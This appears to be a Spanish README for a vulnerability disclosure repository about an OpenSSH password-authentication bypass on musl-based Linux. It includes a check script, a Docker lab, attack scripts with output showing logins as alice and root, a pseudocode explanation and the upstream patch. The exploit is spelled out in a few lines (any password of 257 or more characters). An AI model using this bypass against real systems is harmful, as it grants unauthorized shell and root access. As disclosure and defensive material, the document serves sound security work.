
openssh en musl aceptaba cualquier contraseña de 257+ caracteres para cuentas sin contraseña. desde 2016. check.sh, poc, patch.
openssh en musl linux (alpine, openwrt, buildroot, yocto) te permite iniciar sesión en cualquier cuenta que tenga * como contraseña con cualquier contraseña de más de 256 caracteres. eso significa root, usuarios con solo clave, usuarios de ldap, el usuario alpine en las imágenes cloud de alpine. desde 2016.
la historia completa está en sshhole.com. este repositorio tiene el script para comprobar tu propia máquina, una configuración de docker para probarlo tú mismo y el parche.
corregido en openssh 10.6p2 el 2026-11-05. los paquetes de alpine ya están disponibles.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
solo estás expuesto si todas estas condiciones son ciertas. el script te indica cuál falta si no lo estás:
openssh-server de alpine lo está. openssh-server-pam con UsePAM yes es seguroPasswordAuthentication yes en sshd_config (este es el valor predeterminado)* como su campo de contraseña$5$ o $6$ (alguien, cualquiera, ejecutó passwd)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: no afectados. puedes dejar de leer.
necesitas docker. esto compila un alpine 3.24 normal con openssh-server y la configuración predeterminada. alice tiene *, bob tiene una contraseña real.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
dos prompts. el primero cualquier cosa, el segundo 300 x A. ese es el exploit.
root también funciona si PermitRootLogin yes está configurado:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py hace lo mismo con paramiko y te permite elegir la longitud de la contraseña, así puedes ver que 256 falla y 257 funciona:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
para versiones más antiguas de alpine: docker build --build-arg BASE=alpine:3.21 -t sshhole . funciona al menos hasta la 3.18. la más antigua que probamos fue openssh 7.5p1 sobre musl 1.1.16 de 2017, y también funcionó allí.
patch/4353fdc43-avoid-password-authn-bypass.patch es la corrección upstream, sin cambios, por si necesitas aplicarla a una versión más antigua. funciona en cualquier cosa desde 7.3p1 en adelante. hace que sshd omita la comparación cuando el campo almacenado es demasiado corto para ser un hash real, y también deja de usar un puntero al búfer estático de libc.
si no puedes actualizar ahora mismo, establece PasswordAuthentication no en sshd_config. eso lo cierra por completo.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd se ha comparado con * de esta forma desde los años 90. musl comenzó a devolver * en caso de fallo en 2012. sshd comenzó a usar las sales de otras cuentas en 2016. véase la cronología.
la configuración completa de pruebas (17 entornos: imagen de nube en qemu, openwrt, buildroot, usuarios ldap y ad, etc.), las cifras de prevalencia y la tabla por distribución están en el informe. pueden publicarse más adelante. este repositorio es pequeño a propósito.
licencia mit.